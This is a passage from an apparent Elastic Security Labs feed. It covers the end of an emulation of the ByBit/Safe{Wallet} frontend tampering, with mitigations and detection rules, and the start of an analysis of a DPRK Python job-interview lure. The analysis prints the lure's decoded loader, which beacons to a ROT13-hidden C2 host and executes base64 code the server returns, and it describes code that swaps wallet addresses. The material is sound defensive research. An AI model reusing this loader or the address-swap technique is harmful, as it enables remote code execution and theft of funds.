<p>After credential acquisition, the attacker likely enumerated accessible AWS services. In this case, Amazon S3 was a clear target. The attacker would have listed buckets available to the compromised identity across all regions and located a public-facing bucket associated with Safe{Wallet}, which hosted the frontend Next.js application for transaction processing.</p>
<p>We assume the attacker was aware of the S3 bucket due to its role in serving content for <code>app.safe[.]global</code>, meaning the bucket's structure and assets could be publicly browsed or downloaded without authentication. In our emulation, we validated similar behavior by syncing assets from a public S3 bucket used for static site hosting.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image6.png" alt="Bucket containing statically hosted frontend static site assets" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image21.png" alt="Statically hosted frontend static site assets in target bucket" /></p>
<h4>Next.js App Overwrite with Malicious Code</h4>
<p>After discovering the bucket, the attacker likely used the aws s3 <a href="https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html">sync</a> command to download the entire contents, which included the bundled frontend JavaScript assets. Between February 5 and February 19, 2025, they appeared to focus on modifying these assets - specifically, files like <code>main.&lt;HASH&gt;.js</code> and related routes, which are output by <code>Next.js</code> during its build process and stored under the <code>_next/static/chunks/pages/</code> directory. These bundled files contain the transpiled application logic, and according to Sygnia's forensic report, a file named <code>_app-52c9031bfa03da47.js</code> was the primary injection point for the malicious code.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image23.png" alt="Leveraging AWS CLI sync command to download bucket contents" /></p>
<p>Next.js applications, when built, typically store their statically generated assets under the <code>next/static/</code> directory, with JavaScript chunks organized into folders like <code>/chunks/pages/</code>. In this case, the adversary likely formatted and deobfuscated the JavaScript bundle to understand its structure, then reverse engineered the application logic. After identifying the code responsible for handling user-entered wallet addresses, they injected their <a href="">payload</a>. This payload introduced conditional logic: if the entered wallet address matched one of several known target addresses, it would silently replace the destination with a DPRK-controlled address, redirecting funds without the user becoming aware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image4.png" alt="" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image7.png" alt="Modifying the non-formatted bundled static site code of our own app" /></p>
<p>In our emulation, we replicated this behavior by modifying the <code>TransactionForm.js</code> component to check if the entered recipient address matched specific values. If so, the address was replaced with an attacker-controlled wallet. While this does not reflect the complexity of actual smart contract manipulation or delegate calls used in the real-world attack, it serves as conceptual behavior to illustrate how a compromised frontend could silently redirect cryptocurrency transactions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image2.png" alt="Our static site frontend script pop-up notifying the target wallet address condition was met after malicious code upload" /></p>
<h4>Static Site Tampering Implications and Missing Security Controls</h4>
<p>This type of frontend tampering is especially dangerous in Web3 environments, where decentralized applications (dApps) often rely on static, client-side logic to process transactions. By modifying the JavaScript bundle served from the S3 bucket, the attacker was able to subvert the application’s behavior without needing to breach backend APIs or smart contract logic.</p>
<p>We assume that protections such as <a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html">S3 Object Lock</a>, Content-Security-Policy (CSP), or Subresource Integrity (SRI) headers were either not in use or not enforced during the time of compromise. The absence of these controls would have allowed an attacker to modify static frontend code without triggering browser or backend integrity validation, making such tampering significantly easier to carry out undetected.</p>
<h2>Lessons in defense</h2>
<p>A successful emulation—or real-world incident response—doesn’t end with identifying attacker behaviors. It continues with reinforcing defenses to prevent similar techniques from succeeding again. Below, we outline key detections, security controls, mitigation strategies, and Elastic features that can help reduce risk and limit exposure to the tactics used in this emulation and in-the-wild (ItW) campaigns like the Safe{Wallet} compromise.</p>
<p><strong>Note:</strong> These detections are actively maintained and regularly tuned, and may evolve over time. Depending on your environment, additional tuning may be required to minimize false positives and reduce noise.</p>
<h2>Elastic’s SIEM detection and endpoint prevention rules</h2>
<p>Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time.</p>
<p>Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time.</p>
<h4><a href="https://github.com/elastic/protections-artifacts/tree/main/behavior/rules/macos">MacOS Endpoint Behavior Prevention Rules</a></h4>
<h5>Python PyYAML Deserialization Payload</h5>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_python_script_drop_and_execute.md">Python Script Drop and Execute</a>”:</strong> Detects when a Python script gets created or modified followed immediately by the execution of that script by the same Python process.</p>
<h5>Python Loader Script</h5>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/defense_evasion_self_deleting_python_script.md">Self-Deleting Python Script</a>”:</strong> Detects when a Python script executes and that script file is immediately deleted by the same Python process.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/84966f02a1b71cce13db22b6c348cb46560529b7/hunting/macos/docs/defense_evasion_self_deleted_python_script_outbound_network_connection.md">Self-Deleted Python Script Outbound Connection</a>”:</strong> Detects when a Python script gets deleted and an outbound network connection occurs shortly after by the same Python process.</p>
<h5>Python Loader Script Ret == 1</h5>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/84966f02a1b71cce13db22b6c348cb46560529b7/hunting/macos/docs/command_and_control_suspicious_executable_file_creation_via_python.md">Suspicious Executable File Creation via Python</a>”:</strong> Detects when an executable file gets created or modified by Python in suspicious or unusual directories.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/defense_evasion_python_library_load_and_delete.md">Python Library Load and Delete</a>”:</strong> Detects when a shared library, located within the users home directory, gets loaded by Python followed by the deletion of the library shortly after by the same Python process.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_unusual_library_load_via_python.md">Unusual Library Load via Python</a>”:</strong> Detects when a shared library gets loaded by Python that does not denote itself as a .dylib or .so file and is located within the users home directory.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/endpoint-rules/blob/13bad7e92e53f078b97bbeb376aedb23797be21b/rules/macos/defense_evasion_potential_in_memory_jxa_load_via_untrusted_or_unsigned_binary.toml">In-Memory JXA Execution via ScriptingAdditions</a>”:</strong> Detects the in-memory load and execution of a JXA script.</p>
<h5>Python Loader Script Ret == 2</h5>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/credential_access_potential_python_stealer.md">Potential Python Stealer</a>”:</strong> Detects when a Python script gets executed followed shortly after by at least three attempts to access sensitive files by the same Python process.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/defense_evasion_self_deleted_python_script_accessing_sensitive_files.md">Self-Deleted Python Script Accessing Sensitive Files</a>”:</strong> Detects when a Python script gets deleted and sensitive files are accessed shortly after by the same Python process.</p>
<h5>Python Loader Script Ret == 3</h5>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_unsigned_or_untrusted_binary_execution_via_python.md">Unsigned or Untrusted Binary Execution via Python</a>”:</strong> Detects when an unsigned or untrusted binary gets executed by Python where the executable is located within a suspicious directory.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_unsigned_or_untrusted_binary_fork_via_python.md">Unsigned or Untrusted Binary Fork via Python</a>”:</strong> Detects when an unsigned or untrusted binary gets fork exec’d by Python where the process argument is the path to a file within the users home directory.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/endpoint-rules/blob/13bad7e92e53f078b97bbeb376aedb23797be21b/rules/macos/credential_access_cloud_credential_file_accessed_by_untrusted_or_unsigned_process.toml">Cloud Credential Files Accessed by Process in Suspicious Directory</a>”:</strong> Detects when cloud credentials are accessed by a process running from a suspicious directory.</p>
<h4>SIEM Detections for AWS CloudTrail Logs</h4>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/44a2f4c41aa1482ec545f0391040e254c29a8d80/rules/integrations/aws/initial_access_iam_session_token_used_from_multiple_addresses.toml">STS Temporary IAM Session Token Used from Multiple Addresses</a>”:</strong> Detects AWS IAM session tokens (e.g. ASIA*) being used from multiple source IP addresses in a short timeframe, which may indicate credential theft and reuse from adversary infrastructure.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/2f4a310cc5d75f8d8f2a2d0f5ad5e5a4537e26a3/rules/integrations/aws/persistence_aws_attempt_to_register_virtual_mfa_device.toml">IAM Attempt to Register Virtual MFA Device with Temporary Credentials</a>”:</strong> Detects attempts to call CreateVirtualMFADevice or EnableMFADevice with AWS session tokens. This may reflect an attempt to establish persistent access using hijacked short-term credentials.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/b64ecc925304b492d7855d357baa6c68711eef9a/rules/integrations/aws/persistence_iam_sts_api_calls_via_user_session_token.toml">API Calls to IAM via Temporary Session Tokens</a>”:</strong> Detects use of sensitive iam.amazonaws.com API operations by a principal using temporary credentials (e.g. session tokens with ASIA* prefix). These operations typically require MFA or should only be performed via the AWS console or federated users. Not CLI or automation tokens.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/29dfe1217d1320ab400d051de377664fdbb09493/rules/integrations/aws/impact_s3_static_site_js_file_uploaded.toml">S3 Static Site JavaScript File Uploaded via PutObject</a>”:</strong> Identifies attempts by IAM users to upload or modify JavaScript files in the static/js/ directory of an S3 bucket, which can signal frontend tampering (e.g. injection of malicious code)</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/b35f7366e92321105f61249b233f436c40b59c19/rules/integrations/aws/initial_access_kali_user_agent_detected_with_aws_cli.toml">AWS CLI with Kali Linux Fingerprint Identified</a>”:</strong> Detects AWS API calls made from a system using Kali Linux, as indicated by the user_agent.original string. This may reflect attacker infrastructure or unauthorized access from red team tooling.</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/main/hunting/aws/queries/s3_public_bucket_rapid_object_access_attempts.toml">S3 Excessive or Suspicious GetObject Events</a>”:</strong> Detects a high volume of S3 GetObject actions by the same IAM user or session within a short time window. This may indicate S3 data exfiltration using tools like AWS CLI command <em>sync</em> - particularly targeting static site files or frontend bundles. Note, this is a hunting query and should be adjusted accordingly.</p>
<h4>SIEM Detections for Docker Abuse</h4>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_suspicious_file_access_via_docker.md">Sensitive File Access via Docker</a>”:</strong> Detects when Docker accesses sensitive host files (“ssh”, “aws”, “gcloud”, “azure”, “web browser”, “crypto wallet files”).</p>
<p><strong>Rule Name: “<a href="https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_suspicious_executable_file_modification_via_docker.md">Suspicious Executable File Modification via Docker</a>”:</strong> Detects when Docker creates or modifies an executable file within a suspicious or unusual directory.</p>
<p>If your macOS agent policy includes the <a href="https://www.elastic.co/pt/docs/reference/beats/filebeat/filebeat-input-container">Docker data integration</a>, you can collect valuable telemetry that helps surface malicious container activity on user systems. In our emulation, this integration allowed us to ingest Docker logs (into the metrics index), which we then used to build a detection rule capable of identifying indicators of compromise and suspicious container executions associated with the malicious application.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image17.png" alt="" /></p>
<h2>Mitigations</h2>
<h3>Social Engineering</h3>
<p>Social engineering plays a major role in many intrusions, but especially with the DPRK. They are highly adept at targeting and approaching their victims utilizing trusted public platforms like LinkedIn, Telegram, X or Discord to initiate contact and appear legitimate. Many of their social engineering campaigns attempt to convince the user to download and execute some kind of project, application or script whether it be out of necessity (job application), distress (debugging assistance) etc.. Mitigation of targeting that leverage social engineering is difficult and takes a concerted effort by a company to ensure their employees are regularly trained to recognize these attempts, applying the proper skepticism and caution when engaging outside entities and even the open source communities.</p>
<ul>
<li>User Awareness Training</li>
<li>Manual Static Code Review</li>
<li>Static Code and Dependency Scanning</li>
</ul>
<p>Bandit (<a href="https://github.com/PyCQA/bandit">GitHub - PyCQA/bandit: Bandit is a tool designed to find common security issues in Python code.</a>) is a great example of an open source tool a developer could use to scan the Python application and its scripts prior to execution in order to surface common Python security vulnerabilities or dangerous issues that may be present in the code.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image19.png" alt="" /></p>
<h3>Application and Device Management</h3>
<p>Application controls via a device management solution or a binary authorization framework like the open source tool Santa (<a href="https://github.com/northpolesec/santa">GitHub - northpolesec/santa: A binary and file access authorization system for macOS.</a>) could have been used to enforce notarization and block execution from suspicious paths. This would have prevented the execution of the Poseidon payload dropped to the system for persistence, and could have prevented access to sensitive files.</p>
<h3>EDR/XDR</h3>
<p>To effectively defend against nation-state threats—and the many other attacks targeting macOS—it's critical to have an EDR solution in place that provides rich telemetry and correlation capabilities to detect and prevent script-based attacks. Taking it a step further, an EDR platform like Elastic allows you to ingest AWS logs alongside endpoint data, enabling unified alerting and visibility through a single pane of glass. When combined with AI-powered correlation, this approach can surface cohesive attack narratives, significantly accelerating response and improving your ability to act quickly if such an attack occurs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image3.png" alt="Elastic Alerts Dashboard" /></p>
<h3>AWS Credential Exposure and Session Token Hardening</h3>
<p>In this attack, the adversary leveraged a stolen AWS user session token (with the ASIA* prefix), which had been issued via the GetSessionToken API using MFA. These credentials were likely retrieved from the macOS developer environment — either from exported environment variables or default AWS config paths (e.g., <code>~/.aws/credentials</code>).</p>
<p>To mitigate this type of access, organizations can implement the following defensive strategies:</p>
<ol>
<li><strong>Reduce Session Token Lifetimes and Move Away from IAM Users</strong>: Avoid issuing long-lived session tokens to IAM users. Instead, enforce short token durations (e.g., 1 hour or less) and adopt AWS SSO (IAM Identity Center) for all human users. This makes session tokens ephemeral, auditable, and tied to identity federation. Disabling sts:GetSessionToken permissions for IAM users altogether is the strongest approach, and IAM Identity Center allows this transition.</li>
<li><strong>Enforce Session Context Restrictions for IAM API Usage</strong>: Implement IAM policy condition blocks that explicitly deny sensitive IAM operations, such as <em>iam:CreateVirtualMFADevice</em> or <em>iam:AttachUserPolicy</em>, if the request is made using temporary credentials. This ensures that session-based keys, such as those used in the attack, cannot escalate privileges or modify identity constructs.</li>
<li><strong>Limit MFA Registration to Trusted Paths</strong>: Block MFA device creation (<em>CreateVirtualMFADevice</em>, <em>EnableMFADevice</em>) via session tokens unless coming from trusted networks, devices, or IAM roles. Use <em>aws:SessionToken</em> or <em>aws:ViaAWSService</em> as policy context keys to enforce this. This would have prevented the adversary from attempting MFA-based persistence using the hijacked session.</li>
</ol>
<h3>S3 Application Layer Hardening (Frontend Tampering)</h3>
<p>After obtaining the AWS session token, the adversary did not perform any IAM enumeration — instead, they pivoted quickly to S3 operations. Using the AWS CLI and temporary credentials, they listed S3 buckets and modified static frontend JavaScript hosted on a public S3 bucket. This allowed them to replace the production Next.js bundle with a malicious variant designed to redirect transactions based on specific wallet addresses.</p>
<p>To prevent this type of frontend tampering, implement the following hardening strategies:</p>
<ol>
<li><strong>Enforce Immutability with S3 Object Lock</strong>: Enable S3 Object Lock in compliance or governance mode on buckets hosting static frontend content. This prevents overwriting or deletion of files for a defined retention period - even by compromised users. Object Lock adds a strong immutability guarantee and is ideal for public-facing application layers. Access to put new objects (rather than overwrite) can still be permitted via deployment roles.</li>
<li><strong>Implement Content Integrity with Subresource Integrity (SRI)</strong>: Include SRI hashes (e.g., SHA-256) in the &lt;script&gt; tags within index.html to ensure the frontend only executes known, validated JavaScript bundles. In this attack, the lack of integrity checks allowed arbitrary JavaScript to be served and executed from the S3 bucket. SRI would have blocked this behavior at the browser level.</li>
<li><strong>Restrict Upload Access Using CI/CD Deployment Boundaries</strong>: Developers should never have direct write access to production S3 buckets. Use separate AWS accounts or IAM roles for development and CI/CD deployment. Only OIDC-authenticated GitHub Actions or trusted CI pipelines should be permitted to upload frontend bundles to production buckets. This ensures human credentials, even if compromised, cannot poison production.</li>
<li><strong>Lock Access via CloudFront Signed URLs or Use S3 Versioning</strong>: If the frontend is distributed via CloudFront, restrict access to S3 using signed URLs and remove public access to the S3 origin. This adds a proxy and control layer. Alternatively, enable S3 versioning and monitor for overwrite events on critical assets (e.g., /static/js/*.js). This can help detect tampering by adversaries attempting to replace frontend files.</li>
</ol>
<h2>Attack Discovery (AD)</h2>
<p>After completing the end-to-end attack emulation, we tested Elastic’s new AI Attack Discovery feature to see if it could connect the dots between the various stages of the intrusion. Attack Discovery integrates with an LLM of your choice to analyze alerts across your stack and generate cohesive attack narratives. These narratives help analysts quickly understand what happened, reduce response time, and gain high-level context. In our test, it successfully correlated the endpoint compromise with the AWS intrusion, providing a unified story that an analyst could use to take informed action.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image10.png" alt="Elastic Attack Discovery" /></p>
<h2>OSQuery</h2>
<p>When running Elastic Defend through Elastic Agent, you can also deploy the OSQuery Manager integration to centrally manage Osquery across all agents in your Fleet. This enables you to query host data using distributed SQL. During our testing of the Dockerized malicious application, we used OSQuery to inspect the endpoint and successfully identified the container running with privileged permissions.</p>
<pre><code class="language-sql">SELECT name, image, readonly_rootfs, privileged FROM docker_containers
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/image18.png" alt="Elastic OSQuery Live Query" /></p>
<p>We scheduled this query to run on a recurring basis, sending results back to our Elastic Stack. From there, we built a threshold-based detection rule that alerts whenever a new privileged container appears on a user’s system and hasn’t been observed in the past seven days.</p>
<h2>Conclusion</h2>
<p>The ByBit attack was one of the most consequential intrusions attributed to DPRK threat actors—and thanks to detailed reporting and available artifacts, it also provided a rare opportunity for defenders to emulate the full attack chain end to end. By recreating the compromise of a SAFE developer’s macOS workstation—including initial access, payload execution, and AWS pivoting—we validated our detection capabilities against real-world nation-state tradecraft.</p>
<p>This emulation not only highlighted technical insights—like how PyYAML deserialization can be abused to gain initial access—but also reinforced critical lessons in operational defense: the value of user awareness, behavior-based EDR coverage, secure developer workflows, effective cloud IAM policies, cloud logging and holistic detection/response across platforms.</p>
<p>Adversaries are innovating constantly, but so are defenders—and this kind of research helps tip the balance. We encourage you to follow <a href="https://x.com/elasticseclabs">@elasticseclabs</a> and check out our threat research at <a href="https://www.elastic.co/pt/security-labs">elastic.co/security-labs</a> to stay ahead of evolving adversary techniques.</p>
<p>Resources:</p>
<ol>
<li><a href="https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/">Bybit – What We Know So Far</a></li>
<li><a href="https://x.com/safe/status/1897663514975649938">Safe.eth on X: &quot;Investigation Updates and Community Call to Action&quot;</a></li>
<li><a href="https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34">Cryptocurrency APT Intelligence: Unveiling Lazarus Group’s Intrusion Techniques</a></li>
<li><a href="https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/">Slow Pisces Targets Developers With Coding Challenges and Introduces New Customized Python Malware</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/dprk-code-of-conduct">Code of Conduct: DPRK’s Python-fueled intrusions into secured networks</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/elastic-catches-dprk-passing-out-kandykorn">Elastic catches DPRK passing out KANDYKORN</a></li>
</ol>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/bit-bybit/bit-bybit.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Code of Conduct: DPRK’s Python-fueled intrusions into secured networks]]></title>
            <link>https://www.elastic.co/pt/security-labs/dprk-code-of-conduct</link>
            <guid>dprk-code-of-conduct</guid>
            <pubDate>Wed, 18 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.</p>
<p>This versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.</p>
<p>This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on <a href="https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages">research published</a> by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.</p>
<h2>Key takeaways</h2>
<ul>
<li>The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.</li>
<li>The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.</li>
<li>These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.</li>
<li>The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files</li>
</ul>
<h2>RookeryCapital_PythonTest.zip</h2>
<p>This sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.</p>
<p>Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.</p>
<p>We'll analyze this Python application line by line, uncovering how it:</p>
<ul>
<li>Establishes a connection to a malicious server</li>
<li>Executes hidden commands via remote code execution (RCE)</li>
<li>Uses common obfuscation techniques to fly under the radar</li>
<li>Embeds persistent retry mechanisms to ensure successful communication</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dprk-code-of-conduct/image5.png" alt="DPRK Python initial access execution flow" title="DPRK Python initial access execution flow" /></p>
<h3>PasswordManager.py</h3>
<p>This “Python Challenge” is provided via a <code>.zip</code> file containing a Python application called “PasswordManager”. This application primarily consists of a main script, <code>PasswordManager.py</code>, and two Python modules, <code>Pyperclip</code> and <code>Pyrebase</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dprk-code-of-conduct/image1.png" alt="PasswordManager Application Contents" title="PasswordManager Application Contents" /></p>
<p>Examining the <code>README.md</code> file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dprk-code-of-conduct/image4.png" alt="Excerpt from “PasswordManager” application README file" title="Excerpt from “PasswordManager” application README file" /></p>
<p>This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.</p>
<p>The main <code>PasswordManager.py</code> file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (<code>Pyperclip</code> and <code>Pyrebase</code>) into this main script.</p>
<h4>Pyperclip module</h4>
<p>The <code>Pyperclip</code> module has two files, <code>__init__.py</code> and <code>__main__.py</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dprk-code-of-conduct/image2.png" alt="Pyperclip module files " title="Pyperclip module files " /></p>
<p>In Python, modules often consist of multiple files, with two important ones being <code>__init__.py</code> and <code>__main__.py</code>. The <code>__init__.py</code>  file initializes a Python package, allowing it to function when imported, while the <code>__main__.py</code> file allows the module to be run as a standalone program.</p>
<h5><strong>init</strong>.py</h5>
<p><code>__init__.py</code> is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., <code>pbcopy</code> for macOS, <code>xclip</code> for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).</p>
<p>The imports reveal potentially interesting or suspicious functionality from libraries such as <code>base64</code>, <code>codecs</code>, <code>subprocess</code>, and <code>tempfile</code>. The <code>base64</code> module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with <code>codecs</code>, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.</p>
<p>The presence of the <code>subprocess</code> module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.</p>
<p>The inclusion of the <code>tempfile module</code> is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.</p>
<pre><code>import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os
</code></pre>
<p><strong><strong>init</strong>.py imports</strong></p>
<p>Analyzing the script a large base64 encoded blob assigned to the variable <code>req_self</code> quickly stands out.</p>
<pre><code>req_self = &quot;aW1wb3J0IHN0….Y29udGludWUNCg==&quot;
</code></pre>
<p>Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.</p>
<h5>Obfuscated Python Script</h5>
<p>The script imports several standard libraries (e.g., <code>requests</code>, <code>random</code>, <code>platform</code>), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.</p>
<pre><code>import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs
</code></pre>
<p><strong>Encoded Python script imports</strong></p>
<p>The script contains two functions named <code>co</code> and <code>rand_n</code>.</p>
<p>The <code>co</code> function operates as a helper function. This function checks the current operating system (<code>osn</code>). It uses the <code>codecs.decode</code> function with ROT13 encoding to decode the string <code>Jvaqbjf</code>, which results in <code>Windows</code>. If the operating system is Windows, it returns <code>0</code>; otherwise, it returns <code>1</code>.</p>
<pre><code>def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1
</code></pre>
<p><strong><code>co</code> function within encoded Python script</strong></p>
<p>Decoding ROT13 can easily be done on the macOS or Linux CLI or with the <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&amp;input=SnZhcWJqZg&amp;oeol=CRLF">ROT13 CyberChef recipe</a>.</p>
<pre><code>$ echo &quot;Jvaqbjf&quot; | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows
</code></pre>
<p>The <code>rand_n</code> function generates an 8-digit pseudorandom number from the string <code>123456789</code>. This is likely used as an identifier (<code>uid</code>) in further communication with the remote server.</p>
<pre><code>def rand_n():
  _LENGTH = 8
  str_pool = &quot;123456789&quot;
  result = &quot;&quot;
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result
</code></pre>
<p><strong><code>rand_n</code> function within encoded Python script</strong></p>
<p>Following the function declarations, the script defines a set of variables with hardcoded values it will use.</p>
<pre><code>uid = rand_n()
f_run = &quot;&quot;
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {&quot;Content-Type&quot;: &quot;application/json; charset=utf-8&quot;}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + &quot;pfrr&quot; + str(co(oi))
</code></pre>
<p><strong>Encoded Python script variables</strong></p>
<ul>
<li><code>uid</code>: Random identifier generated using <code>rand_n()</code></li>
<li><code>oi</code>: The operating system platform</li>
<li><code>url</code>: After decoding using ROT13, this resolves to a URL for a malicious server (<a href="https://akamaitechnologies%5B.%5Donline">https://akamaitechnologies[.]online</a>). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.</li>
<li><code>data</code>: This is the data payload being sent to the server. It includes a decoded string (<code>Amazon[.]com</code>), the random uid, and the result of <code>co(oi)</code> which checks if the OS is Windows.</li>
</ul>
<p>The last part of the script is the main while loop.</p>
<pre><code>while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) &gt; 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue
</code></pre>
<p><strong>Encoded Python script main while loop</strong></p>
<p>The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.</p>
<p>Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using <code>exec(compile(dec_res, '', 'exec'), globals())</code>. This allows the attacker to send arbitrary Python code to be executed on the victim's machine.</p>
<p>Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.</p>
